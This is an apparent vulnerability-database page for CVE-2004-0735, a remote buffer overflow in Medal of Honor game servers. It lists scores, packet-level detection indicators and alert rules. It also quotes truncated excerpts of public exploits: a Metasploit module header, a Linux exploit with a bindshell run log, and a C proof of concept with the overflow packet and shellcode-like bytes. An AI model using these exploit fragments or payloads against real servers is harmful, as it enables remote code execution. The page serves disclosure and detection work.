CVE-2004-0735
published 2004-07-27CVE-2004-0735: Buffer overflow in Medal of Honor (1) Allied Assault 1.11v9 and earlier, (2) Breakthrough 2.40b and earlier, and (3) Spearhead 2.15 and earlier, when playing…
PriorityP348high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
62.11%
99.1th percentile
Buffer overflow in Medal of Honor (1) Allied Assault 1.11v9 and earlier, (2) Breakthrough 2.40b and earlier, and (3) Spearhead 2.15 and earlier, when playing on a Local Area Network (LAN), allows remote attackers to execute arbitrary code via vectors such as (1) the getinfo query, (2) the connect packet, and other unknown vectors.
Affected
5 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| electronic_arts | medal_of_honor_allied_assault | — | — |
| electronic_arts | medal_of_honor_allied_assault | — | — |
| electronic_arts | medal_of_honor_allied_assault | — | — |
| electronic_arts | medal_of_honor_allied_assault | — | — |
| electronic_arts | medal_of_honor_allied_assault | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
\xff\xff\xff\xff\x02getinfo
bytes↗
\xff\xff\xff\xff\x02getinfo <overflow_buffer>
bytes↗
\xff\xff\xff\xff\x01infoResponse\n\\pure\\0...\\crash\\<BOFWIN>\\challenge\\xxx
bytes↗
\xff\xff\xff\xff\x02getstatus xxx\n
bytes↗
\x33\xc9\x81\xe9\x2d\xff\xff\xff\x8b\xd4\xf7\xda\x2b\xca\x90\x90\x90\x90\x90
- →Alert on UDP packets to port 12203 containing the 4-byte magic \xff\xff\xff\xff followed by \x02 and the string 'getinfo' with a payload exceeding normal query length (>20 bytes after 'getinfo '). ↗
- →Alert on UDP packets to port 12203 containing \xff\xff\xff\xff\x01 followed by 'infoResponse' and a '\\crash\\' key with a value longer than expected (overflow delivered via the crash key in the infoResponse packet targeting LAN clients). ↗
- →Detect oversized getinfo UDP queries to port 12203: the PoC buffer for Windows overflow is 516 bytes and for Linux is 1044+ bytes; any getinfo query body exceeding ~20 bytes should be treated as suspicious. ↗
- →The Metasploit module targets Medal of Honor Allied Assault v1.0 using a 'call ebx' gadget at 0x406957; presence of this return address in a UDP payload to port 12203 is a strong exploit indicator. ↗
- ·The server filters certain characters, requiring alphanumeric shellcode; standard shellcode byte-pattern signatures will not match the Linux Spearhead exploit payload. ↗
- ·The exploit targets the main thread, so there is only one exploitation attempt possible per server instance before it crashes; brute-forcing return addresses is not feasible. ↗
- ·The Metasploit module's bad characters list only excludes null bytes (\x00), meaning most byte values are usable in the payload; signature-based detection must account for a wide range of payload bytes. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Medal of Honor Allied Assault - getinfo Stack Buffer Overflow (Metasploit)
exploitdb·2010-05-09
CVE-2004-0735 Medal of Honor Allied Assault - getinfo Stack Buffer Overflow (Metasploit)
Medal of Honor Allied Assault - getinfo Stack Buffer Overflow (Metasploit)
---
##
# $Id: mohaa_getinfo.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 'Medal Of Honor Allied Assault getinfo Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in the getinfo
command of Medal Of Honor Allied Assault.
},
'Author' => [ 'Jacopo Cervini' ],
'License' => BSD_LICENSE,
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2004-0735'],
[ 'OSVDB', '8061' ],
[ 'URL',
Exploit-DB
Medal of Honor Spearhead (Linux) - Server Remote Buffer Overflow
exploitdb·2005-02-18
CVE-2004-0735 Medal of Honor Spearhead (Linux) - Server Remote Buffer Overflow
Medal of Honor Spearhead (Linux) - Server Remote Buffer Overflow
---
/* -------------------------------------------------------------------------------------------------
Remote buffer overflow exploit for Medal of Honor Spearhead Dedicated Server (Linux)
earthangel:/home/millhouse# ./mohexp -h 127.0.0.1 -p 12203 -t 1
Medal of Honor Spearhead Dedicated server for Linux
Remote buffer overflow exploit millhouse@IRCnet
[-] Found Spearhead 2.15 (Linux)
[-] Target: 0xbfff30f0 Debian 3.0
[-] Sending buffer...
[-] Trying to reach bindshell...
Linux earthangel 2.4.28 #1 SMP Sat Dec 25 23:50:47 CET 2004 i686 unknown
uid=1001(spearhead) gid=1000(users) groups=1000(users)
Affected versions:
This exploit was tested with Spearhead 2.15. Its the latest version and this
is the most used one. Versio
Exploit-DB
Medal of Honor - Remote Buffer Overflow (PoC)
exploitdb·2004-07-20
CVE-2004-0735 Medal of Honor - Remote Buffer Overflow (PoC)
Medal of Honor - Remote Buffer Overflow (PoC)
---
/*
by Luigi Auriemma
*/
#include
#include
#include
#ifdef WIN32
#include
#include
#include
#include "winerr.h"
#define close closesocket
#else
#include
#include
#include
#include
#include
#endif
#define VER "0.1"
#define BUFFSZ 4096
#define PORT 12203
#define TIMEOUT 3
#define INFO "\xff\xff\xff\xff\x02" "getinfo xxx\n"
#define BOFWIN "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Metasploit
Medal of Honor Allied Assault getinfo Stack Buffer Overflow
metasploit
Medal of Honor Allied Assault getinfo Stack Buffer Overflow
Medal of Honor Allied Assault getinfo Stack Buffer Overflow
This module exploits a stack based buffer overflow in the getinfo command of Medal Of Honor Allied Assault.
No writeups or analysis indexed.
2004-07-27
Published